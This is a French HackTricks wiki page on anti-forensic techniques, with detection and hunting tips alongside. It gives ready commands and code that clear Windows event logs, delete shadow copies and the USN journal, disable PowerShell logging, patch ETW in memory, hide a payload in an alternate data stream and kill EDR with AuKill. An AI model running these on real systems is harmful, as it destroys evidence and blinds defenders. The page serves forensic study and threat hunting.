Techniques Anti-Forensiques
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Horodatages
Un attaquant peut ĂȘtre intĂ©ressĂ© par le changement des horodatages des fichiers pour Ă©viter dâĂȘtre dĂ©tectĂ©.
Il est possible de trouver les horodatages Ă lâintĂ©rieur du MFT dans les attributs $STANDARD_INFORMATION __ et __ $FILE_NAME.
Les deux attributs ont 4 horodatages : Modification, accÚs, création, et modification du registre MFT (MACE ou MACB).
Lâexplorateur Windows et dâautres outils affichent les informations de $STANDARD_INFORMATION.
TimeStomp - Outil Anti-forensique
Cet outil modifie les informations dâhorodatage Ă lâintĂ©rieur de $STANDARD_INFORMATION mais pas les informations Ă lâintĂ©rieur de $FILE_NAME. Par consĂ©quent, il est possible dâidentifier une activitĂ© suspecte.
Usnjrnl
Le Journal USN (Journal de NumĂ©ro de SĂ©quence de Mise Ă Jour) est une fonctionnalitĂ© du NTFS (systĂšme de fichiers Windows NT) qui suit les changements de volume. Lâoutil UsnJrnl2Csv permet dâexaminer ces changements.
.png)
Lâimage prĂ©cĂ©dente est la sortie affichĂ©e par lâoutil oĂč lâon peut observer que certains changements ont Ă©tĂ© effectuĂ©s sur le fichier.
$LogFile
Tous les changements de mĂ©tadonnĂ©es dâun systĂšme de fichiers sont enregistrĂ©s dans un processus connu sous le nom de journalisation anticipĂ©e. Les mĂ©tadonnĂ©es enregistrĂ©es sont conservĂ©es dans un fichier nommĂ© **$LogFile**, situĂ© dans le rĂ©pertoire racine dâun systĂšme de fichiers NTFS. Des outils comme LogFileParser peuvent ĂȘtre utilisĂ©s pour analyser ce fichier et identifier les changements.
.png)
Encore une fois, dans la sortie de lâoutil, il est possible de voir que certains changements ont Ă©tĂ© effectuĂ©s.
En utilisant le mĂȘme outil, il est possible dâidentifier Ă quel moment les horodatages ont Ă©tĂ© modifiĂ©s :
.png)
- CTIME : Heure de création du fichier
- ATIME : Heure de modification du fichier
- MTIME : Modification du registre MFT du fichier
- RTIME : Heure dâaccĂšs du fichier
Comparaison de $STANDARD_INFORMATION et $FILE_NAME
Une autre façon dâidentifier des fichiers modifiĂ©s suspects serait de comparer le temps sur les deux attributs Ă la recherche de disparitĂ©s.
Nanosecondes
Les horodatages NTFS ont une précision de 100 nanosecondes. Ainsi, trouver des fichiers avec des horodatages comme 2010-10-10 10:10:00.000:0000 est trÚs suspect.
SetMace - Outil Anti-forensique
Cet outil peut modifier les deux attributs $STARNDAR_INFORMATION et $FILE_NAME. Cependant, depuis Windows Vista, il est nĂ©cessaire quâun OS en direct modifie ces informations.
Masquage de Données
NFTS utilise un cluster et la taille minimale dâinformation. Cela signifie que si un fichier occupe et utilise un cluster et demi, la moitiĂ© restante ne sera jamais utilisĂ©e jusquâĂ ce que le fichier soit supprimĂ©. Il est donc possible de cacher des donnĂ©es dans cet espace de remplissage.
Il existe des outils comme slacker qui permettent de cacher des donnĂ©es dans cet espace âcachĂ©â. Cependant, une analyse du $logfile et du $usnjrnl peut montrer que certaines donnĂ©es ont Ă©tĂ© ajoutĂ©es :
.png)
Il est alors possible de rĂ©cupĂ©rer lâespace de remplissage en utilisant des outils comme FTK Imager. Notez que ce type dâoutil peut sauvegarder le contenu obfusquĂ© ou mĂȘme chiffrĂ©.
UsbKill
Câest un outil qui Ă©teindra lâordinateur si un changement dans les ports USB est dĂ©tectĂ©.
Une façon de le dĂ©couvrir serait dâinspecter les processus en cours et de rĂ©viser chaque script python en cours dâexĂ©cution.
Distributions Linux Live
Ces distributions sont exĂ©cutĂ©es dans la mĂ©moire RAM. La seule façon de les dĂ©tecter est si le systĂšme de fichiers NTFS est montĂ© avec des permissions dâĂ©criture. Sâil est montĂ© uniquement avec des permissions de lecture, il ne sera pas possible de dĂ©tecter lâintrusion.
Suppression Sécurisée
https://github.com/Claudio-C/awesome-data-sanitization
Configuration de Windows
Il est possible de dĂ©sactiver plusieurs mĂ©thodes de journalisation de Windows pour rendre lâenquĂȘte dâanalyse forensique beaucoup plus difficile.
Désactiver les Horodatages - UserAssist
Câest une clĂ© de registre qui maintient les dates et heures auxquelles chaque exĂ©cutable a Ă©tĂ© exĂ©cutĂ© par lâutilisateur.
Désactiver UserAssist nécessite deux étapes :
- Définir deux clés de registre,
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgsetHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled, toutes deux Ă zĂ©ro pour signaler que nous voulons dĂ©sactiver UserAssist. - Effacer vos sous-arbres de registre qui ressemblent Ă
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>.
Désactiver les Horodatages - Prefetch
Cela enregistrera des informations sur les applications exĂ©cutĂ©es dans le but dâamĂ©liorer les performances du systĂšme Windows. Cependant, cela peut Ă©galement ĂȘtre utile pour les pratiques dâanalyse forensique.
- Exécutez
regedit - Sélectionnez le chemin de fichier
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters - Cliquez avec le bouton droit sur
EnablePrefetcheretEnableSuperfetch - SĂ©lectionnez Modifier sur chacun dâeux pour changer la valeur de 1 (ou 3) Ă 0
- Redémarrez
DĂ©sactiver les Horodatages - DerniĂšre Heure dâAccĂšs
Chaque fois quâun dossier est ouvert Ă partir dâun volume NTFS sur un serveur Windows NT, le systĂšme prend le temps de mettre Ă jour un champ dâhorodatage sur chaque dossier rĂ©pertoriĂ©, appelĂ© lâheure de dernier accĂšs. Sur un volume NTFS trĂšs utilisĂ©, cela peut affecter les performances.
- Ouvrez lâĂditeur de Registre (Regedit.exe).
- Parcourez
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem. - Recherchez
NtfsDisableLastAccessUpdate. Sâil nâexiste pas, ajoutez ce DWORD et dĂ©finissez sa valeur Ă 1, ce qui dĂ©sactivera le processus. - Fermez lâĂditeur de Registre et redĂ©marrez le serveur.
Supprimer lâHistorique USB
Toutes les EntrĂ©es de PĂ©riphĂ©riques USB sont stockĂ©es dans le Registre Windows sous la clĂ© de registre USBSTOR qui contient des sous-clĂ©s créées chaque fois que vous branchez un pĂ©riphĂ©rique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clĂ© ici HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR. En supprimant cela, vous supprimerez lâhistorique USB.
Vous pouvez Ă©galement utiliser lâoutil USBDeview pour vous assurer que vous les avez supprimĂ©s (et pour les supprimer).
Un autre fichier qui sauvegarde des informations sur les USB est le fichier setupapi.dev.log Ă lâintĂ©rieur de C:\Windows\INF. Cela devrait Ă©galement ĂȘtre supprimĂ©.
Désactiver les Copies de Sécurité
Lister les copies de sécurité avec vssadmin list shadowstorage
Les supprimer en exécutant vssadmin delete shadow
Vous pouvez Ă©galement les supprimer via lâinterface graphique en suivant les Ă©tapes proposĂ©es dans https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html
Pour dĂ©sactiver les copies de sĂ©curitĂ© Ă©tapes Ă partir dâici:
- Ouvrez le programme Services en tapant âservicesâ dans la zone de recherche aprĂšs avoir cliquĂ© sur le bouton de dĂ©marrage Windows.
- Dans la liste, trouvez âVolume Shadow Copyâ, sĂ©lectionnez-le, puis accĂ©dez aux PropriĂ©tĂ©s en cliquant avec le bouton droit.
- Choisissez DĂ©sactivĂ© dans le menu dĂ©roulant âType de dĂ©marrageâ, puis confirmez le changement en cliquant sur Appliquer et OK.
Il est Ă©galement possible de modifier la configuration des fichiers qui vont ĂȘtre copiĂ©s dans la copie de sĂ©curitĂ© dans le registre HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot
Ăcraser les fichiers supprimĂ©s
- Vous pouvez utiliser un outil Windows :
cipher /w:CCela indiquera Ă cipher de supprimer toutes les donnĂ©es de lâespace disque inutilisĂ© disponible Ă lâintĂ©rieur du lecteur C. - Vous pouvez Ă©galement utiliser des outils comme Eraser
Supprimer les journaux dâĂ©vĂ©nements Windows
- Windows + R â> eventvwr.msc â> DĂ©veloppez âJournaux Windowsâ â> Cliquez avec le bouton droit sur chaque catĂ©gorie et sĂ©lectionnez âEffacer le journalâ
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }
DĂ©sactiver les journaux dâĂ©vĂ©nements Windows
reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f- Dans la section des services, dĂ©sactivez le service âJournal des Ă©vĂ©nements Windowsâ
WEvtUtil.exec clear-logouWEvtUtil.exe cl
Désactiver $UsnJrnl
fsutil usn deletejournal /d c:
Journalisation Avancée & Manipulation de Trace (2023-2025)
Journalisation des ScriptBlocks/Modules PowerShell
Les versions récentes de Windows 10/11 et Windows Server conservent des artéfacts forensiques PowerShell riches sous
Microsoft-Windows-PowerShell/Operational (événements 4104/4105/4106).
Les attaquants peuvent les désactiver ou les effacer à la volée :
# Turn OFF ScriptBlock & Module logging (registry persistence)
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
-Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
-Name EnableModuleLogging -Value 0 -PropertyType DWord -Force
# In-memory wipe of recent PowerShell logs
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Remove-WinEvent # requires admin & Win11 23H2+
Les défenseurs devraient surveiller les modifications apportées à ces clés de registre et la suppression en grande quantité des événements PowerShell.
Patch ETW (Event Tracing for Windows)
Les produits de sĂ©curitĂ© des points de terminaison sâappuient fortement sur ETW. Une mĂ©thode dâĂ©vasion populaire en 2024 consiste Ă patcher ntdll!EtwEventWrite/EtwEventWriteFull en mĂ©moire afin que chaque appel ETW renvoie STATUS_SUCCESS sans Ă©mettre lâĂ©vĂ©nement :
// 0xC3 = RET on x64
unsigned char patch[1] = { 0xC3 };
WriteProcessMemory(GetCurrentProcess(),
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
patch, sizeof(patch), NULL);
Public PoCs (e.g. EtwTiSwallow) implĂ©mentent la mĂȘme primitive en PowerShell ou C++.
Parce que le patch est local au processus, les EDRs fonctionnant dans dâautres processus peuvent le manquer.
Détection : comparer ntdll en mémoire vs. sur disque, ou intercepter avant le mode utilisateur.
Renaissance des Flux de Données Alternatifs (ADS)
Des campagnes de malware en 2023 (e.g. FIN12 loaders) ont Ă©tĂ© observĂ©es mettant en scĂšne des binaires de deuxiĂšme Ă©tape Ă lâintĂ©rieur des ADS pour rester hors de vue des scanners traditionnels :
rem Hide cobalt.bin inside an ADS of a PDF
type cobalt.bin > report.pdf:win32res.dll
rem Execute directly
wmic process call create "cmd /c report.pdf:win32res.dll"
ĂnumĂ©rez les flux avec dir /R, Get-Item -Stream *, ou Sysinternals streams64.exe. Copier le fichier hĂŽte vers FAT/exFAT ou via SMB supprimera le flux cachĂ© et peut ĂȘtre utilisĂ© par les enquĂȘteurs pour rĂ©cupĂ©rer la charge utile.
BYOVD & âAuKillâ (2023)
Bring-Your-Own-Vulnerable-Driver est dĂ©sormais couramment utilisĂ© pour anti-forensics dans les intrusions par ransomware. Lâoutil open-source AuKill charge un pilote signĂ© mais vulnĂ©rable (procexp152.sys) pour suspendre ou terminer les capteurs EDR et forensiques avant le chiffrement et la destruction des journaux :
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
AuKill.exe -k CrowdStrike
Le pilote est ensuite supprimé, laissant des artefacts minimes.
AttĂ©nuations : activer la liste de blocage des pilotes vulnĂ©rables de Microsoft (HVCI/SAC) et alerter sur la crĂ©ation de services du noyau Ă partir de chemins modifiables par lâutilisateur.
Anti-Forensique Linux : Auto-correction et Cloud C2 (2023â2025)
Auto-correction des services compromis pour réduire la détection (Linux)
Les adversaires âsâauto-corrigentâ de plus en plus un service juste aprĂšs lâavoir exploitĂ© pour Ă la fois prĂ©venir la rĂ©-exploitation et supprimer les dĂ©tections basĂ©es sur des vulnĂ©rabilitĂ©s. LâidĂ©e est de remplacer les composants vulnĂ©rables par les derniers binaires/JARs lĂ©gitimes en amont, de sorte que les scanners rapportent lâhĂŽte comme corrigĂ© tout en maintenant la persistance et le C2.
Exemple : Apache ActiveMQ OpenWire RCE (CVEâ2023â46604)
- AprĂšs lâexploitation, les attaquants ont rĂ©cupĂ©rĂ© des JARs lĂ©gitimes depuis Maven Central (repo1.maven.org), ont supprimĂ© les JARs vulnĂ©rables dans lâinstallation dâActiveMQ et ont redĂ©marrĂ© le courtier.
- Cela a fermĂ© le RCE initial tout en maintenant dâautres points dâancrage (cron, modifications de configuration SSH, implants C2 sĂ©parĂ©s).
Exemple opérationnel (illustratif)
# ActiveMQ install root (adjust as needed)
AMQ_DIR=/opt/activemq
cd "$AMQ_DIR"/lib
# Fetch patched JARs from Maven Central (versions as appropriate)
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar
# Remove vulnerable files and ensure the service uses the patched ones
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
ln -sf activemq-client-5.18.3.jar activemq-client.jar
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar
# Apply changes without removing persistence
systemctl restart activemq || service activemq restart
Forensic/hunting tips
- Examine les répertoires de services pour des remplacements de binaire/JAR non planifiés :
- Debian/Ubuntu :
dpkg -V activemqet comparez les hachages/chemins de fichiers avec les miroirs de dépÎt. - RHEL/CentOS :
rpm -Va 'activemq*' - Recherchez les versions JAR présentes sur le disque qui ne sont pas détenues par le gestionnaire de paquets, ou des liens symboliques mis à jour hors bande.
- Chronologie :
find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sortpour corrĂ©ler ctime/mtime avec la fenĂȘtre de compromission. - Historique de shell/tĂ©lĂ©metrie de processus : preuves de
curl/wgetversrepo1.maven.orgou dâautres CDN dâartefacts immĂ©diatement aprĂšs lâexploitation initiale. - Gestion des changements : validez qui a appliquĂ© le âpatchâ et pourquoi, pas seulement quâune version corrigĂ©e est prĂ©sente.
Cloudâservice C2 avec des jetons porteurs et des stagers anti-analyse
Le savoir-faire observé combinait plusieurs chemins C2 à long terme et un emballage anti-analyse :
- Chargeurs ELF PyInstaller protĂ©gĂ©s par mot de passe pour entraver le sandboxing et lâanalyse statique (par exemple, PYZ chiffrĂ©, extraction temporaire sous
/_MEI*). - Indicateurs : hits
stringstels quePyInstaller,pyi-archive,PYZ-00.pyz,MEIPASS. - Artefacts dâexĂ©cution : extraction vers
/tmp/_MEI*ou chemins personnalisés--runtime-tmpdir. - C2 soutenu par Dropbox utilisant des jetons OAuth Bearer codés en dur
- Marqueurs réseau :
api.dropboxapi.com/content.dropboxapi.comavecAuthorization: Bearer <token>. - Chasser dans les proxy/NetFlow/Zeek/Suricata pour des HTTPS sortants vers des domaines Dropbox Ă partir de charges de travail serveur qui ne synchronisent normalement pas de fichiers.
- C2 parallĂšle/de secours via tunneling (par exemple, Cloudflare Tunnel
cloudflared), gardant le contrĂŽle si un canal est bloquĂ©. - IOCs dâhĂŽte : processus/unitĂ©
cloudflared, configuration Ă~/.cloudflared/*.json, sortant 443 vers les bords de Cloudflare.
Persistance et ârollback de durcissementâ pour maintenir lâaccĂšs (exemples Linux)
Les attaquants associent frĂ©quemment auto-correction avec des chemins dâaccĂšs durables :
- Cron/Anacron : modifications du stub
0anacrondans chaque répertoire/etc/cron.*/pour une exécution périodique. - Chasser :
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
- Rétrogradation de durcissement de la configuration SSH : activation des connexions root et modification des shells par défaut pour les comptes à faible privilÚge.
- Chasser lâactivation de la connexion root :
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
# valeurs de drapeau comme "yes" ou paramĂštres trop permissifs
- Chasser les shells interactifs suspects sur les comptes systĂšme (par exemple,
games) :
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
- Artefacts de balise aléatoires et de noms courts (8 caractÚres alphabétiques) déposés sur le disque qui contactent également le C2 cloud :
- Chasser :
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
Les dĂ©fenseurs devraient corrĂ©ler ces artefacts avec lâexposition externe et les Ă©vĂ©nements de patch de service pour dĂ©couvrir lâauto-rĂ©mĂ©diation anti-forensique utilisĂ©e pour cacher lâexploitation initiale.
References
-
Sophos X-Ops â âAuKill: A Weaponized Vulnerable Driver for Disabling EDRâ (Mars 2023) https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr
-
Red Canary â âPatching EtwEventWrite for Stealth: Detection & Huntingâ (Juin 2024) https://redcanary.com/blog/etw-patching-detection
-
Red Canary â Patching for persistence: How DripDropper Linux malware moves through the cloud
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


